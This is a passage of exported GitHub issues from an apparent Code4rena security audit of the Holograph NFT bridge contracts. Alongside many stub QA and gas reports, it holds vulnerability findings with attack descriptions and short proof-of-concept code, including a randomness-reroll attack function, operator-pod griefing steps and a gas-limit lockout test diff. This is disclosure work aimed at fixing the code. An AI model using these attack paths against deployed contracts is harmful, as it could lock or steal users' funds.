"https://github.com/code-423n4/2022-10-holograph-findings/issues/468", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/HolographERC721.sol#L962 # Vulnerability details ## Description HolographERC721.sol is an enforcer of the ERC721 standard. In its fallback function, it calls the actual implementation in order to handle additional logic. If Holographer is called with no calldata and some msg.value, the call will reach the receive() function, which does not forward the call down to the implementation. This can be a serious value leak issue, because the underlying implementation may have valid behavior for handling sending of value. For example, it can mint the next available tokenID and credit it to the user. Since this logic is never reached, the entire msg.value is just leaked. ## Impact Leak of value when interacting with an NFT using the receive() or fallback() callback. Note that if NFT implements fallback OR receive() function, execution will never reach either of them from the enforcer's receive() function. ## Tools Used Manual audit ## Recommended Mitigation Steps Funnel receive() empty calls down to the implementation."}, {"title": "MED: isOwner / onlyOwner checks can be bypassed by attacker in ERC721/ERC20 implementations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/464", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/abstract/ERC721H.sol#L185 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/abstract/ERC721H.sol#L121 # Vulnerability details ## Description ERC20H and ERC721H are base contracts for NFTs / coins to inherit from. They supply the modifier onlyOwner and function isOwner which are used in the implementations for access control. However, there are several functions which when using these the answer may be corrupted to true by an attacker. The issue comes from confusion between calls coming from HolographERC721's fallback function, and calls from actually implemented functions. In the fallback function, the enforcer appends an additional 32 bytes of msg.sender : ``` assembly { calldatacopy(0, 0, calldatasize()) mstore(calldatasize(), caller()) let result := call(gas(), sload(_sourceContractSlot), callvalue(), 0, add(calldatasize(), 32), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } ``` Indeed these are the bytes read as msgSender: ``` function msgSender() internal pure returns (address sender) { assembly { sender := calldataload(sub(calldatasize(), 0x20)) } } ``` and isOwner simply compares these to the stored owner: ``` function isOwner() external view returns (bool) { if (msg.sender == holographer()) { return msgSender() == _getOwner(); } else { return msg.sender == _getOwner(); } } ``` However, the enforcer calls these functions directly in several locations, and in these cases it of course does not append a 32 byte msg.sender. For example, in safeTransferFrom: ``` function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public payable { require(_isApproved(msg.sender, tokenId), \"ERC721: not approved sender\"); if (_isEventRegistered(HolographERC721Event.beforeSafeTransfer)) { require(SourceERC721().beforeSafeTransfer(from, to, tokenId, data)); } _transferFrom(from, to, tokenId); if (_isContract(to)) { require( (ERC165(to).supportsInterface(ERC165.supportsInterface.selector) && ERC165(to).supportsInterface(ERC721TokenReceiver.onERC721Received.selector) && ERC721TokenReceiver(to).onERC721Received(address(this), from, tokenId, data) == ERC721TokenReceiver.onERC721Received.selector), \"ERC721: onERC721Received fail\" ); } if (_isEventRegistered(HolographERC721Event.afterSafeTransfer)) { require(SourceERC721().afterSafeTransfer(from, to, tokenId, data)); } } ``` Here, caller has arbitrary control of the data parameter, and can pass owner's address.When the implementation, SourceERC721(), gets called, beforeSafeTransfer / afterSafeTransfer will behave as if they are called by owner. Therefore, depending on the actual implementation, derived contracts can lose funds by specifying owner-specific logic. This pattern occurs with the following functions, which have an arbitrary data parameter: - beforeSafeTransfer / after SafeTransfer - beforeTransfer / afterTransfer - beforeOnERC721Received / afterOnERC721Received - beforeOnERC20Received / aferERC20Received ## Impact Owner-specific functionality can be initiated on NFT / ERC20 implementation contracts ## Tools Used Manual audit ## Recommended Mitigation Steps Refactor the code to represent msg.sender information in a bug-free way."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/458", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "`_payoutToken[s]()` is not compatible with tokens with missing return value", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/456", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/src/enforcer/PA1D.sol#L317 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/src/enforcer/PA1D.sol#L340 # Vulnerability details ## Impact Payout is blocked and tokens are stuck in contract. ## Proof of Concept `PA1D._payoutToken()` and `PA1D._payoutTokens()` call `ERC20.transfer()` in a require-statement to send tokens to a list of payout recipients. Some tokens do not return a bool (e.g. USDT, BNB, OMG) on ERC20 methods. But since the require-statement expects a `bool`, for such a token a `void` return will also cause a revert, despite an otherwise successful transfer. That is, the token payout will always revert for such tokens. ## Tools Used Code inspection ## Recommended Mitigation Steps Use [OpenZeppelin's SafeERC20](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol), which handles the return value check as well as non-standard-compliant tokens."}, {"title": " LayerZeroModule miscalculates gas, risking loss of assets", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/445", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/module/LayerZeroModule.sol#L431-L445 # Vulnerability details ## Description Holograph gets it's cross chain messaging primitives through Layer Zero. To get pricing estimate, it uses the DstConfig price struct exposed in LZ's [RelayerV2](https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/RelayerV2.sol#L133) The issue is that the important baseGas and gasPerByte configuration parameters, which are used to calculate a custom amount of gas for the destination LZ message, use the values that come from the *source* chain. This is in contrast to LZ which handles DstConfigs in a mapping keyed by chainID. The encoded gas amount is described [here](https://layerzero.gitbook.io/docs/guides/advanced/relayer-adapter-parameters) ## Impact The impact is that when those fields are different between chains, one of two things may happen: 1. Less severe - we waste excess gas, which is refunded to the lzReceive() caller (Layer Zero) 2. More severe - we underprice the delivery cost, causing lzReceive() to revert and the NFT stuck in limbo forever. The code does not handle a failed lzReceive (differently to a failed executeJob). Therefore, no failure event is emitted and the NFT is screwed. ## Tools Used Manual audit ## Recommended Mitigation Steps Firstly,make sure to use the target gas costs. Secondly, re-engineer lzReceive to be fault-proof, i.e. save some gas to emit result event."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/442", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "HolographERC20 breaks composability by forcing usage of draft proposal EIP-4524", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/440", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/HolographERC20.sol#L539 # Vulnerability details ## Description HolographERC20 is the ERC20 enforcer for Holograph. In the safeTransferFrom operation, it calls \\_checkOnERC20Received: ``` if (_isEventRegistered(HolographERC20Event.beforeSafeTransfer)) { require(SourceERC20().beforeSafeTransfer(account, recipient, amount, data)); } _transfer(account, recipient, amount); require(_checkOnERC20Received(account, recipient, amount, data), \"ERC20: non ERC20Receiver\"); if (_isEventRegistered(HolographERC20Event.afterSafeTransfer)) { require(SourceERC20().afterSafeTransfer(account, recipient, amount, data)); } ``` The checkOnERC20Received function: ``` if (_isContract(recipient)) { try ERC165(recipient).supportsInterface(ERC165.supportsInterface.selector) returns (bool erc165support) { require(erc165support, \"ERC20: no ERC165 support\"); // we have erc165 support if (ERC165(recipient).supportsInterface(0x534f5876)) { // we have eip-4524 support try ERC20Receiver(recipient).onERC20Received(address(this), account, amount, data) returns (bytes4 retv return retval == ERC20Receiver.onERC20Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert(\"ERC20: non ERC20Receiver\"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { revert(\"ERC20: eip-4524 not supported\"); } } catch (bytes memory reason) { if (reason.length == 0) { revert(\"ERC20: no ERC165 support\"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } ``` In essence, if the target is a contract, the enforcer requires it to fully implement EIP-4524. The problem is that [this](https://eips.ethereum.org/EIPS/eip-4524) EIP is just a draft proposal, which the project cannot assume to be supported by any receiver contract, and definitely not every receiver contract. The specs warn us: ``` \u26a0\ufe0f This EIP is not recommended for general use or implementation as it is likely to change. ``` Therefore, it is a very dangerous requirement to add in an ERC20 enforcer, and must be left to the implementation to do if it so desires. ## Impact ERC20s enforced by HolographERC20 are completely uncomposable. They cannot be used for almost any DeFi application, making it basically useless. ## Tools Used Manual audit ## Recommended Mitigation Steps Remove the EIP-4524 requirements altogether."}, {"title": " Execution may be stuck in destination chain as operators estimate gas consumption", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/433", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": " Execution may be stuck in destination chain as operators estimate gas consumption"}, {"title": " Attacker can force chaotic operator behavior", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/432", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L875 # Vulnerability details ## Description Operators are organized into different pod tiers. Every time a new request arrives, it is scheduled to a random available pod. It is important to note that pods may be empty, in which case the pod array actually has a single zero element to help with all sorts of bugs. When a pod of a non existing tier is created, any intermediate tiers between the current highest tier to the new tier are filled with zero elements. This happens at bondUtilityToken(): ``` if (_operatorPods.length < pod) { /** * @dev activate pod(s) up until the selected pod */ for (uint256 i = _operatorPods.length; i <= pod; i++) { /** * @dev add zero address into pod to mitigate empty pod issues */ _operatorPods.push([address(0)]); } } ``` The issue is that any user can spam the contract with a large amount of empty operator pods. The attack would look like this: 1. bondUtilityToken(attacker, large_amount, high_pod_number) 2. unbondUtilityToken(attacker, attacker) The above could be wrapped in a flashloan to get virtually any pod tier filled. The consequence is that when the scheduler chooses pods uniformally, they will very likely choose an empty pod, with the zero address. Therefore, the chosen operator will be 0, which is referred to in the code as \"open season\". In this occurrance, any operator can perform the executeJob() call. This is of course really bad, because all but one operator continually waste gas for executions that will be reverted after the lucky first transaction goes through. This would be a practical example of a griefing attack on Holograph. ## Impact Any user can force chaotic \"open season\" operator behavior ## Tools Used Manual audit ## Recommended Mitigation Steps It is important to pay special attention to the scheduling algorithm, to make sure different pods are given execution time according to the desired heuristics."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/429", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/428", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Bad source of randomness", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/427", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L491-L511 # Vulnerability details ## Impact Using block.number and block.timestamp as a source of randomness is commonly advised against, as the outcome can be manipulated by calling contracts. In this case a compromised layer-zero-endpoint would be able to retry the selection of the primary operator until the result is favorable to the malicious actor. ## Proof of Concept An attack path for rerolling the result of bad randomness might look roughly like this: ```js function attack(uint256 currentNonce, uint256 wantedPodIndex, uint256 numPods, uint256 wantedOperatorIndex, uint256 numOperators, bytes calldata bridgeInRequestPayload) external{ bytes32 jobHash = keccak256(bridgeInRequestPayload); //same calculation as in HolographOperator.crossChainMessage uint256 random = uint256(keccak256(abi.encodePacked(jobHash, currentNonce, block.number, block.timestamp))); require(wantedPodIndex == random % numPods) require(wantedOperatorIndex == random % numOperators); operator.crossChainMessage(bridgeInRequestPayload); } ``` The attack basically consists of repeatedly calling the `attack` function with data that is known and output that is wished for until the results match and only then continuing to calling the operator. ## Tools Used Manual Review ## Recommended Mitigation Steps Consider using a decentralized oracle for the generation of random numbers, such as [Chainlinks VRF](https://docs.chain.link/docs/vrf/v2/introduction/). It should be noted, that in this case there is a prerequirement of the layer-zero endpoint being compromised, which confines the risk quite a bit, so using a normally unrecommended source of randomness could be acceptable here, considering the tradeoffs of integrating a decentralized oracle."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/425", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/422", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/420", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/419", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "It is possible that operator loses sent ETH after calling `HolographOperator` contract's `executeJob` function", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/418", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L301-L439 https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L445-L478 # Vulnerability details ## Impact ETH can be sent when calling the `HolographOperator` contract's `executeJob` function, which can execute the following code. ```solidity File: contracts\\HolographOperator.sol 419: try 420: HolographOperatorInterface(address(this)).nonRevertingBridgeCall{value: msg.value}( 421: msg.sender, 422: bridgeInRequestPayload 423: ) 424: { 425: /// @dev do nothing 426: } catch { 427: _failedJobs[hash] = true; 428: emit FailedOperatorJob(hash); 429: } ``` Executing the `try ... {...} catch {...}` code mentioned above will execute `HolographOperatorInterface(address(this)).nonRevertingBridgeCall{value: msg.value}(...)`. Calling the `nonRevertingBridgeCall` function can possibly execute `revert(0, 0)` if the external call to the bridge contract is not successful. When this occurs, the code in the `catch` block of the `try ... {...} catch {...}` code mentioned above will run, which does not make calling the `executeJob` function revert. As a result, even though the job is not successfully executed, the sent ETH is locked in the `HolographOperator` contract since there is no other way to transfer such sent ETH out from this contract. In this situation, the operator that calls the `executeJob` function will lose the sent ETH. https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L301-L439 ```solidity function executeJob(bytes calldata bridgeInRequestPayload) external payable { ... /** * @dev execute the job */ try HolographOperatorInterface(address(this)).nonRevertingBridgeCall{value: msg.value}( msg.sender, bridgeInRequestPayload ) { /// @dev do nothing } catch { _failedJobs[hash] = true; emit FailedOperatorJob(hash); } /** * @dev every executed job (even if failed) increments total message counter by one */ ++_inboundMessageCounter; /** * @dev reward operator (with HLG) for executing the job * @dev this is out of scope and is purposefully omitted from code */ //// _bondedOperators[msg.sender] += reward; } ``` https://github.com/code-423n4/2022-10-holograph/blob/main/contracts/HolographOperator.sol#L445-L478 ```solidity function nonRevertingBridgeCall(address msgSender, bytes calldata payload) external payable { require(msg.sender == address(this), \"HOLOGRAPH: operator only call\"); assembly { /** * @dev remove gas price from end */ calldatacopy(0, payload.offset, sub(payload.length, 0x20)) /** * @dev hToken recipient is injected right before making the call */ mstore(0x84, msgSender) /** * @dev make non-reverting call */ let result := call( /// @dev gas limit is retrieved from last 32 bytes of payload in-memory value mload(sub(payload.length, 0x40)), /// @dev destination is bridge contract sload(_bridgeSlot), /// @dev any value is passed along callvalue(), /// @dev data is retrieved from 0 index memory position 0, /// @dev everything except for last 32 bytes (gas limit) is sent sub(payload.length, 0x40), 0, 0 ) if eq(result, 0) { revert(0, 0) } return(0, 0) } } ``` ## Proof of Concept First, please add the following `OperatorAndBridgeMocks.sol` file in `src\\mock\\`. ```solidity pragma solidity 0.8.13; // OperatorMock contract simulates the logic flows used in HolographOperator contract's executeJob and nonRevertingBridgeCall functions contract OperatorMock { bool public isJobExecuted = true; BridgeMock bridgeMock = new BridgeMock(); // testExecuteJob function here simulates the logic flow used in HolographOperator.executeJob function function testExecuteJob() external payable { try IOperatorMock(address(this)).testBridgeCall{value: msg.value}() { } catch { isJobExecuted = false; } } // testBridgeCall function here simulates the logic flow used in HolographOperator.nonRevertingBridgeCall function function testBridgeCall() external payable { // as a simulation, the external call that sends ETH to bridgeMock contract will revert (bool success, ) = address(bridgeMock).call{value: msg.value}(\"\"); if (!success) { assembly { revert(0, 0) } } assembly { return(0, 0) } } } interface IOperatorMock { function testBridgeCall() external payable; } contract BridgeMock { receive() external payable { revert(); } } ``` Then, please add the following `POC.ts` file in `test\\`. ```typescript import { expect } from \"chai\"; import { ethers } from \"hardhat\"; describe('POC', () => { it(\"It is possible that operator loses sent ETH after calling HolographOperator contract's executeJob function\", async () => { // deploy operatorMock contract that simulates // the logic flows used in HolographOperator contract's executeJob and nonRevertingBridgeCall functions const OperatorMockFactory = await ethers.getContractFactory('OperatorMock'); const operatorMock = await OperatorMockFactory.deploy(); await operatorMock.deployed(); await operatorMock.testExecuteJob({value: 500}); // even though the job is not successfully executed, the sent ETH is locked in operatorMock contract const isJobExecuted = await operatorMock.isJobExecuted(); expect(isJobExecuted).to.be.eq(false); expect(await ethers.provider.getBalance(operatorMock.address)).to.be.eq(500); }); }); ``` Last, please run `npx hardhat test test/POC.ts --network hardhat`. The `It is possible that operator loses sent ETH after calling HolographOperator contract's executeJob function` test will pass to demonstrate the described scenario. ## Tools Used VSCode ## Recommended Mitigation Steps In the `catch` block of the `try ... {...} catch {...}` code mentioned above in the Impact section, the code can be updated to transfer the `msg.value` amount of ETH back to the operator, which is `msg.sender` for the `HolographOperator` contract's `executeJob` function, when this described situation occurs."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/416", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "An attacker can lock operator out of the pod by setting gas limit that's higher than the block gas limit of dest chain", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/414", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L415 # Vulnerability details When a beaming job is executed, there's a requirement that the gas left would be at least as the `gasLimit` set by the user. Given that there's no limit on the `gasLimit` the user can set, a user can set the `gasLimit` to amount that's higher than the block gas limit on the dest chain, causing the operator to fail to execute the job. ## Impact Operators would be locked out of the pod, unable to execute any more jobs and not being able to get back the bond they paid. The attacker would have to pay a value equivalent to the gas fee if that amount was realistic (i.e. `gasPrice` * `gasLimit` in dest chain native token), but this can be a relative low amount for Polygon and Avalanche chain (for Polygon that's 20M gas limit and 200 Gwei gas = 4 Matic, for Avalanche the block gas limit seems to be 8M and the price ~30 nAVAX = 0.24 AVAX ). Plus, the operator isn't going to receive that amount. ## Proof of Concept The following test demonstrates this scenario: ```diff diff --git a/test/06_cross-chain_minting_tests_l1_l2.ts b/test/06_cross-chain_minting_tests_l1_l2.ts index 1f2b959..a1a23b7 100644 --- a/test/06_cross-chain_minting_tests_l1_l2.ts +++ b/test/06_cross-chain_minting_tests_l1_l2.ts @@ -276,6 +276,7 @@ describe('Testing cross-chain minting (L1 & L2)', async function () { gasLimit: TESTGASLIMIT, }) ); + estimatedGas = BigNumber.from(50_000_000); // process.stdout.write('\\n' + 'gas estimation: ' + estimatedGas.toNumber() + '\\n'); let payload: BytesLike = await l1.bridge.callStatic.getBridgeOutRequestPayload( @@ -303,7 +304,8 @@ describe('Testing cross-chain minting (L1 & L2)', async function () { '0x' + remove0x((await l1.operator.getMessagingModule()).toLowerCase()).repeat(2), payload ); - + estimatedGas = BigNumber.from(5_000_000); + process.stdout.write(' '.repeat(10) + 'expected lz gas to be ' + executeJobGas(payload, true).toString()); await expect( adminCall(l2.mockLZEndpoint.connect(l2.lzEndpoint), l2.lzModule, 'lzReceive', [ @@ -313,7 +315,7 @@ describe('Testing cross-chain minting (L1 & L2)', async function () { payload, { gasPrice: GASPRICE, - gasLimit: executeJobGas(payload), + gasLimit: 5_000_000, }, ]) ) ``` The test would fail with the following output: ``` 1) Testing cross-chain minting (L1 & L2) Deploy cross-chain contracts via bridge deploy hToken deploy l1 equivalent on l2: VM Exception while processing transaction: revert HOLOGRAPH: not enough gas left ``` ## Recommended Mitigation Steps Limit the `gasLimit` to the maximum realistic amount that can be used on the dest chain (including the gas used up to the point where it's checked)."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/405", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/399", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/397", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/394", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/392", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/391", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/389", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/387", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/380", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/378", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/376", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/371", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/370", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "If user sets a low `gasPrice` the operator would have to choose between being locked out of the pod or executing the job anyway", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/364", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/src/HolographOperator.sol#L202-L340 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L593-L596 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/module/LayerZeroModule.sol#L277-L294 # Vulnerability details During the beaming process the user compensates the operator for the gas he has to pay by sending some source-chain-native-tokens via `hToken`. The amount he has to pay is determined according to the `gasPrice` set by the user, which is supposed to be the maximum gas price to be used on dest chain (therefore predicting the max gas fee the operator would pay and paying him the same value in src chain native tokens). However, in case the user sets a low price (as low as 1 wei) the operator can't skip the job because he's locked out of the pod till he executes the job. The operator would have to choose between loosing money by paying a higher gas fee than he's compensated for or being locked out of the pod - not able to execute additional jobs or get back his bonded amount. ## Impact Operator would be loosing money by having to pay gas fee that's higher than the compensation (gas fee can be a few dozens of USD for heavy txs). This could also be used by attackers to make operators pay for the attackers' expensive gas tasks: * They can deploy their own contract as the 'source contract' * Use the `bridgeIn` event and the `data` that's being sent to it to instruct the source contract what operations need to be executed * They can use it for execute operations where the `tx.origin` doesn't matter (e.g. USDc gasless send) ## Proof of Concept * An operator can't execute any further jobs or leave the pod till the job is executed. From [the docs](https://docs.holograph.xyz/holograph-protocol/operator-network-specification#:~:text=When%20an%20operator%20is%20selected%20for%20a%20job%2C%20they%20are%20temporarily%20removed%20from%20the%20pod%2C%20until%20they%20complete%20the%20job.%20If%20an%20operator%20successfully%20finalizes%20a%20job%2C%20they%20earn%20a%20reward%20and%20are%20placed%20back%20into%20their%20selected%20pod.): > When an operator is selected for a job, they are temporarily removed from the pod, until they complete the job. If an operator successfully finalizes a job, they earn a reward and are placed back into their selected pod. * Operator can't skip a job. Can't prove a negative but that's pretty clear from reading the code. * There's indeed a third option - that some other operator/user would execute the job instead of the selected operator, but a) the operator would get slashed for that. b) If the compensation is lower than the gas fee then other users have no incentive to execute it as well. ## Recommended Mitigation Steps Allow operator to opt out of executing the job if the `gasPrice` is higher than the current gas price"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/363", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/362", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/361", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/360", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/358", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/356", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/355", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/350", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/343", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas 